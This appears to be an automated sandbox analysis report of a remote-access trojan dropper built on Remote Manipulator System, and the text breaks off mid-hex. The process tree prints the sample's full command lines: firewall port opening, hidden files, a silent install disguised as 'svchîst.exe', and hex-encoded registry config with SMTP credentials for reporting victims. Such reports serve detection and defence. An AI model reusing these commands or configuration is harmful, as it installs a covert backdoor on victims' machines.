Overview

overview

10

Static

static

63119ab29e...43.exe

windows7_x64

10

63119ab29e...43.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    17-04-2022 07:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    63119ab29e258e4828893f60f39cf278e2a4e69fd1886ee71e14b98091b4d443.exe

  • Size

    8.2MB

  • MD5

    023821ea8f7c3745a2542de96753804b

  • SHA1

    37ec844e943d934527cf51aaf5f31cadbcde6548

  • SHA256

    63119ab29e258e4828893f60f39cf278e2a4e69fd1886ee71e14b98091b4d443

  • SHA512

    ca4405e02e7040caa339355aa485ab3c5bf13d3a2db3cdc5e442b0ea610d418d5ca81fddfc9ef0b1f59630baff16edc06747b5010bf0991cbd8b35114193eb41

Score
10/10
rmsdiscoveryevasionratspywarestealertrojan

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Drops file in Drivers directory 6 IoCs
  • Executes dropped EXE 10 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks for any installed AV software in registry 1 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 22 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 57 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 19 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\63119ab29e258e4828893f60f39cf278e2a4e69fd1886ee71e14b98091b4d443.exe
    "C:\Users\Admin\AppData\Local\Temp\63119ab29e258e4828893f60f39cf278e2a4e69fd1886ee71e14b98091b4d443.exe"
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4340
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c if exist "%SYSTEMROOT%\System32\idfgvgjnghcdfb.reg" (goto& cd %SYSTEMROOT%\System32\drivers& attrib +h +s "svchîst.exe"& attrib -h -s "install.exe"& del /f /q "install.exe"& attrib -h -s "install.cmd"& del /f /q "install.cmd"& Exit) else taskkill /f /im rutserv.exe& taskkill /f /im rfusclient.exe& reg delete "HKLM\SYSTEM\Remote Manipulator System" /f& netsh firewall add portopening TCP 5650 "Open Port 5650"& netsh advfirewall firewall add rule name="Open Port 5650" dir=in action=allow protocol=TCP localport=5650& "%SYSTEMROOT%\System32\drivers\install.exe"& ping 127.0.0.1& "%SYSTEMROOT%\System32\drivers\svchîst.exe" /silentinstall&"%SYSTEMROOT%\System32\drivers\svchîst.exe" /firewall& "%SYSTEMROOT%\System32\drivers\svchîst.exe" /start& Echo Windows Registry Editor Version 5.00> %SYSTEMROOT%\System32\idfgvgjnghcdfb.reg& attrib +h +s "%SYSTEMROOT%\System32\idfgvgjnghcdfb.reg"& cd %SYSTEMROOT%\System32\drivers& attrib +h +s "svchîst.exe"& attrib -h -s "install.exe"& del /f /q "install.exe"& attrib -h -s "install.cmd"& del /f /q "install.cmd"& Exit
      2⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1800
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im rutserv.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5008
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im rfusclient.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4876
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
        3⤵
          PID:4576
        • C:\Windows\SysWOW64\netsh.exe
          netsh firewall add portopening TCP 5650 "Open Port 5650"
          3⤵
            PID:4592
          • C:\Windows\SysWOW64\netsh.exe
            netsh advfirewall firewall add rule name="Open Port 5650" dir=in action=allow protocol=TCP localport=5650
            3⤵
              PID:4252
            • C:\Windows\SysWOW64\drivers\install.exe
              "C:\Windows\System32\drivers\install.exe"
              3⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:1372
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v notification /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b44414144354235352d324438382d344643452d413843442d3137434141363034454143327d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e73706163657765622e72753c2f686f73743e3c706f72743e3436353c2f706f72743e3c757365726e616d653e636f70797240636f7274636f6d2e6f6e6c696e653c2f757365726e616d653e3c70617373776f72643e763933396a7734786871537433656d504454484e704b3364356f394d4d5a716b727433576a7a7778394b413d3c2f70617373776f72643e3c66726f6d5f656d61696c3e636f70797240636f7274636f6d2e6f6e6c696e653c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e636f7274636f6d4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e25555345524e414d452525434f4d504e414d45255f254944253c2f7375626a6563743e3c746578743e25555345524e414d452525434f4d504e414d45255f254944253c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a /f
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1492
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Classes\.gz" /v notification /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b44414144354235352d324438382d344643452d413843442d3137434141363034454143327d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e73706163657765622e72753c2f686f73743e3c706f72743e3436353c2f706f72743e3c757365726e616d653e636f70797240636f7274636f6d2e6f6e6c696e653c2f757365726e616d653e3c70617373776f72643e763933396a7734786871537433656d504454484e704b3364356f394d4d5a716b727433576a7a7778394b413d3c2f70617373776f72643e3c66726f6d5f656d61696c3e636f70797240636f7274636f6d2e6f6e6c696e653c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e636f7274636f6d4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e25555345524e414d452525434f4d504e414d45255f254944253c2f7375626a6563743e3c746578743e25555345524e414d452525434f4d504e414d45255f254944253c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a /f
                  5⤵
                  • Modifies registry class
                  PID:2508
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Security /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c73656375726974795f73657474696e67732076657273696f6e3d223639313130223e3c77696e646f77735f73656375726974793e3c2f77696e646f77735f73656375726974793e3c73696e676c655f70617373776f72645f686173683e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f73696e676c655f70617373776f72645f686173683e3c6d795f757365725f6163636573735f6c6973743e3c757365725f6163636573735f6c6973743e3c757365725f6163636573733e3c7369643e7b31384637453930342d374243392d344539302d413043382d4245463430384630464543427d3c2f7369643e3c757365725f6e616d653e41646d696e3c2f757365725f6e616d653e3c70617373776f72643e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f70617373776f72643e3c6163636573735f6d61736b3e3935393c2f6163636573735f6d61736b3e3c6163746976653e747275653c2f6163746976653e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c2f757365725f6163636573733e3c2f757365725f6163636573735f6c6973743e3c2f6d795f757365725f6163636573735f6c6973743e3c69705f66696c7465725f747970653e323c2f69705f66696c7465725f747970653e3c69705f626c61636b5f6c6973743e3c2f69705f626c61636b5f6c6973743e3c69705f77686974655f6c6973743e3c2f69705f77686974655f6c6973743e3c617574685f6b696e643e373c2f617574685f6b696e643e3c6f74705f656e61626c653e66616c73653c2f6f74705f656e61626c653e3c6f74705f707269766174655f6b65793e3c2f6f74705f707269766174655f6b65793e3c6f74705f71725f7365637265743e3c2f6f74705f71725f7365637265743e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c64697361626c655f72656d6f74655f636f6e74726f6c3e66616c73653c2f64697361626c655f72656d6f74655f636f6e74726f6c3e3c64697361626c655f72656d6f74655f73637265656e3e66616c73653c2f64697361626c655f72656d6f74655f73637265656e3e3c64697361626c655f66696c655f7472616e736665723e66616c73653c2f64697361626c655f66696c655f7472616e736665723e3c64697361626c655f72656469726563743e66616c73653c2f64697361626c655f72656469726563743e3c64697361626c655f74656c6e65743e66616c73653c2f64697361626c655f74656c6e65743e3c64697361626c655f72656d6f74655f657865637574653e66616c73653c2f64697361626c655f72656d6f74655f657865637574653e3c64697361626c655f7461736b5f6d616e616765723e66616c73653c2f64697361626c655f7461736b5f6d616e616765723e3c64697361626c655f73687574646f776e3e66616c73653c2f64697361626c655f73687574646f776e3e3c64697361626c655f72656d6f74655f757067726164653e66616c73653c2f64697361626c655f72656d6f74655f757067726164653e3c64697361626c655f707265766965775f636170747572653e66616c73653c2f64697361626c655f707265766965775f636170747572653e3c64697361626c655f6465766963655f6d616e616765723e66616c73653c2f64697361626c655f6465766963655f6d616e616765723e3c64697361626c655f636861743e66616c73653c2f64697361626c655f636861743e3c64697361626c655f73637265656e5f7265636f72643e66616c73653c2f64697361626c655f73637265656e5f7265636f72643e3c64697361626c655f61765f636170747572653e66616c73653c2f64697361626c655f61765f636170747572653e3c64697361626c655f73656e645f6d6573736167653e66616c73653c2f64697361626c655f73656e645f6d6573736167653e3c64697361626c655f72656769737472793e66616c73653c2f64697361626c655f72656769737472793e3c64697361626c655f61765f636861743e66616c73653c2f64697361626c655f61765f636861743e3c64697361626c655f72656d6f74655f73657474696e67733e66616c73653c2f64697361626c655f72656d6f74655f73657474696e67733e3c64697361626c655f72656d6f74655f7072696e74696e673e66616c73653c2f64697361626c655f72656d6f74655f7072696e74696e673e3c64697361626c655f7264703e66616c73653c2f64697361626c655f7264703e3c637573746f6d5f7365727665725f6c6973743e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a787a5a584a325a584a6659323975626d566a6446396a623235305a58683049485a6c636e4e7062323439496a59354d544577496a3438636d317a58334e6c636e5a6c636e4d76506a777663325679646d567958324e76626d356c5933526659323975644756346444344e43673d3d3c2f637573746f6d5f7365727665725f6c6973743e3c73656c65637465645f637573746f6d5f7365727665725f69643e3c2f73656c65637465645f637573746f6d5f7365727665725f69643e3c637573746f6d5f7365727665725f6163636573733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a787962584e6659574e7349485a6c636e4e7062323439496a59354d544577496a3438636d317a5832466a5a584d76506a786c626d4669624756666157356f5a584a7064443530636e566c5043396c626d4669624756666157356f5a584a70644434384c334a74633139685932772b44516f3d3c2f637573746f6d5f7365727665725f6163636573733e3c2f73656375726974795f73657474696e67733e0d0a /f
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1712
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Security /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c73656375726974795f73657474696e67732076657273696f6e3d223639313130223e3c77696e646f77735f73656375726974793e3c2f77696e646f77735f73656375726974793e3c73696e676c655f70617373776f72645f686173683e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f73696e676c655f70617373776f72645f686173683e3c6d795f757365725f6163636573735f6c6973743e3c757365725f6163636573735f6c6973743e3c757365725f6163636573733e3c7369643e7b31384637453930342d374243392d344539302d413043382d4245463430384630464543427d3c2f7369643e3c757365725f6e616d653e41646d696e3c2f757365725f6e616d653e3c70617373776f72643e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f70617373776f72643e3c6163636573735f6d61736b3e3935393c2f6163636573735f6d61736b3e3c6163746976653e747275653c2f6163746976653e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c2f757365725f6163636573733e3c2f757365725f6163636573735f6c6973743e3c2f6d795f757365725f6163636573735f6c6973743e3c69705f66696c7465725f747970653e323c2f69705f66696c7465725f747970653e3c69705f626c61636b5f6c6973743e3c2f69705f626c61636b5f6c6973743e3c69705f77686974655f6c6973743e3c2f69705f77686974655f6c6973743e3c617574685f6b696e643e373c2f617574685f6b696e643e3c6f74705f656e61626c653e66616c73653c2f6f74705f656e61626c653e3c6f74705f707269766174655f6b65793e3c2f6f74705f707269766174655f6b65793e3c6f74705f71725f7365637265743e3c2f6f74705f71725f7365637265743e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c64697361626c655f72656d6f74655f636f6e74726f6c3e66616c73653c2f64697361626c655f72656d6f74655f636f6e74726f6c3e3c64697361626c655f72656d6f74655f73637265656e3e66616c73653c2f64697361626c655f72656d6f74655f73637265656e3e3c64697361626c655f66696c655f7472616e736665723e66616c73653c2f64697361626c655f66696c655f7472616e736665723e3c64697361626c655f72656469726563743e66616c73653c2f64697361626c655f72656469726563743e3c64697361626c655f74656c6e65743e66616c73653c2f64697361626c655f74656c6e65743e3c64697361626c655f72656d6f74655f657865637574653e66616c73653c2f64697361626c655f72656d6f74655f657865637574653e3c64697361626c655f7461736b5f6d616e616765723e66616c73653c2f64697361626c655f7461736b5f6d616e616765723e3c64697361626c655f73687574646f776e3e66616c73653c2f64697361626c655f73687574646f776e3e3c64697361626c655f72656d6f74655f757067726164653e66616c73653c2f64697361626c655f72656d6f74655f757067726164653e3c64697361626c655f707265766965775f636170747572653e66616c73653c2f64697361626c655f707265766965775f636170747572653e3c64697361626c655f6465766963655f6d616e616765723e66616c73653c2f64697361626c655f6465766963655f6d616e616765723e3c64697361626c655f636861743e66616c73653c2f64697361626c655f636861743e3c64697361626c655f73637265656e5f7265636f72643e66616c73653c2f64697361626c655f73637265656e5f7265636f72643e3c64697361626c655f61765f636170747572653e66616c73653c2f64697361626c655f61765f636170747572653e3c64697361626c655f73656e645f6d6573736167653e66616c73653c2f64697361626c655f73656e645f6d6573736167653e3c64697361626c655f72656769737472793e66616c73653c2f64697361626c655f72656769737472793e3c64697361626c655f61765f636861743e66616c73653c2f64697361626c655f61765f636861743e3c64697361626c655f72656d6f74655f73657474696e67733e66616c73653c2f64697361626c655f72656d6f74655f73657474696e67733e3c64697361626c655f72656d6f74655f7072696e74696e673e66616c73653c2f64697361626c655f72656d6f74655f7072696e74696e673e3c64697361626c655f7264703e66616c73653c2f64697361626c655f7264703e3c637573746f6d5f7365727665725f6c6973743e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a787a5a584a325a584a6659323975626d566a6446396a623235305a58683049485a6c636e4e7062323439496a59354d544577496a3438636d317a58334e6c636e5a6c636e4d76506a777663325679646d567958324e76626d356c5933526659323975644756346444344e43673d3d3c2f637573746f6d5f7365727665725f6c6973743e3c73656c65637465645f637573746f6d5f7365727665725f69643e3c2f73656c65637465645f637573746f6d5f7365727665725f69643e3c637573746f6d5f7365727665725f6163636573733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a787962584e6659574e7349485a6c636e4e7062323439496a59354d544577496a3438636d317a5832466a5a584d76506a786c626d4669624756666157356f5a584a7064443530636e566c5043396c626d4669624756666157356f5a584a70644434384c334a74633139685932772b44516f3d3c2f637573746f6d5f7365727665725f6163636573733e3c2f73656375726974795f73657474696e67733e0d0a /f
                  5⤵
                  • Modifies registry class
                  PID:2040
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v General /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c67656e6572616c5f73657474696e67732076657273696f6e3d223639313130223e3c706f72743e353635303c2f706f72743e3c686964655f747261795f69636f6e5f706f7075705f6d656e753e747275653c2f686964655f747261795f69636f6e5f706f7075705f6d656e753e3c747261795f6d656e755f686964655f73746f703e747275653c2f747261795f6d656e755f686964655f73746f703e3c6c616e67756167653e456e676c6973683c2f6c616e67756167653e3c63616c6c6261636b5f6175746f5f636f6e6e6563743e747275653c2f63616c6c6261636b5f6175746f5f636f6e6e6563743e3c63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e36303c2f63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e3c70617373776f72645f646174613e3765753976447778394b413d3c2f70617373776f72645f646174613e3c70726f746563745f63616c6c6261636b5f73657474696e67733e747275653c2f70726f746563745f63616c6c6261636b5f73657474696e67733e3c70726f746563745f696e65745f69645f73657474696e67733e747275653c2f70726f746563745f696e65745f69645f73657474696e67733e3c7573655f6c65676163795f636170747572653e66616c73653c2f7573655f6c65676163795f636170747572653e3c646f5f6e6f745f636170747572655f7264703e747275653c2f646f5f6e6f745f636170747572655f7264703e3c7573655f69705f765f363e747275653c2f7573655f69705f765f363e3c6c6f675f7573653e66616c73653c2f6c6f675f7573653e3c636861745f636c69656e745f73657474696e67733e3c2f636861745f636c69656e745f73657474696e67733e3c617574685f6b65795f737472696e673e3c2f617574685f6b65795f737472696e673e3c7369645f69643e34343034332e393930353632383831393c2f7369645f69643e3c6e6f746966795f73686f775f70616e656c3e66616c73653c2f6e6f746966795f73686f775f70616e656c3e3c6e6f746966795f6368616e67655f747261795f69636f6e3e747275653c2f6e6f746966795f6368616e67655f747261795f69636f6e3e3c6e6f746966795f62616c6c6f6e5f68696e743e66616c73653c2f6e6f746966795f62616c6c6f6e5f68696e743e3c6e6f746966795f706c61795f736f756e643e66616c73653c2f6e6f746966795f706c61795f736f756e643e3c6e6f746966795f70616e656c5f783e2d313c2f6e6f746966795f70616e656c5f783e3c6e6f746966795f70616e656c5f793e2d313c2f6e6f746966795f70616e656c5f793e3c70726f78795f73657474696e67733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a7877636d39346556397a5a5852306157356e637942325a584a7a61573975505349324f5445784d43492b5048567a5a563977636d39346554356d5957787a5a54777664584e6c5833427962336835506a7877636d3934655639306558426c506a41384c33427962336835583352356347552b504768766333512b5043396f62334e30506a787762334a30506a67774f4441384c334276636e512b5047356c5a575266595856306144356d5957787a5a547776626d566c5a4639686458526f506a787564473173583246316447672b5a6d4673633255384c32353062577866595856306144343864584e6c636d35686257552b5043393163325679626d46745a5434386347467a63336476636d512b5043397759584e7a643239795a4434385a47397459576c75506a77765a47397459576c75506a777663484a7665486c666332563064476c755a334d2b44516f3d3c2f70726f78795f73657474696e67733e3c6164646974696f6e616c3e3c2f6164646974696f6e616c3e3c64697361626c655f696e7465726e65745f69643e66616c73653c2f64697361626c655f696e7465726e65745f69643e3c736166655f6d6f64655f7365743e66616c73653c2f736166655f6d6f64655f7365743e3c73686f775f69645f6e6f74696669636174696f6e3e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e3e3c73686f775f69645f6e6f74696669636174696f6e5f726571756573743e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e5f726571756573743e3c696e746567726174655f6669726577616c6c5f61745f737461727475703e747275653c2f696e746567726174655f6669726577616c6c5f61745f737461727475703e3c2f67656e6572616c5f73657474696e67733e0d0a /f
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2988
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Classes\.gz" /v General /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c67656e6572616c5f73657474696e67732076657273696f6e3d223639313130223e3c706f72743e353635303c2f706f72743e3c686964655f747261795f69636f6e5f706f7075705f6d656e753e747275653c2f686964655f747261795f69636f6e5f706f7075705f6d656e753e3c747261795f6d656e755f686964655f73746f703e747275653c2f747261795f6d656e755f686964655f73746f703e3c6c616e67756167653e456e676c6973683c2f6c616e67756167653e3c63616c6c6261636b5f6175746f5f636f6e6e6563743e747275653c2f63616c6c6261636b5f6175746f5f636f6e6e6563743e3c63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e36303c2f63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e3c70617373776f72645f646174613e3765753976447778394b413d3c2f70617373776f72645f646174613e3c70726f746563745f63616c6c6261636b5f73657474696e67733e747275653c2f70726f746563745f63616c6c6261636b5f73657474696e67733e3c70726f746563745f696e65745f69645f73657474696e67733e747275653c2f70726f746563745f696e65745f69645f73657474696e67733e3c7573655f6c65676163795f636170747572653e66616c73653c2f7573655f6c65676163795f636170747572653e3c646f5f6e6f745f636170747572655f7264703e747275653c2f646f5f6e6f745f636170747572655f7264703e3c7573655f69705f765f363e747275653c2f7573655f69705f765f363e3c6c6f675f7573653e66616c73653c2f6c6f675f7573653e3c636861745f636c69656e745f73657474696e67733e3c2f636861745f636c69656e745f73657474696e67733e3c617574685f6b65795f737472696e673e3c2f617574685f6b65795f737472696e673e3c7369645f69643e34343034332e393930353632383831393c2f7369645f69643e3c6e6f746966795f73686f775f70616e656c3e66616c73653c2f6e6f746966795f73686f775f70616e656c3e3c6e6f746966795f6368616e67655f747261795f69636f6e3e747275653c2f6e6f746966795f6368616e67655f747261795f69636f6e3e3c6e6f746966795f62616c6c6f6e5f68696e743e66616c73653c2f6e6f746966795f62616c6c6f6e5f68696e743e3c6e6f746966795f706c61795f736f756e643e66616c73653c2f6e6f746966795f706c61795f736f756e643e3c6e6f746966795f70616e656c5f783e2d313c2f6e6f746966795f70616e656c5f783e3c6e6f746966795f70616e656c5f793e2d313c2f6e6f746966795f70616e656c5f793e3c70726f78795f73657474696e67733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a7877636d39346556397a5a5852306157356e637942325a584a7a61573975505349324f5445784d43492b5048567a5a563977636d39346554356d5957787a5a54777664584e6c5833427962336835506a7877636d3934655639306558426c506a41384c33427962336835583352356347552b504768766333512b5043396f62334e30506a787762334a30506a67774f4441384c334276636e512b5047356c5a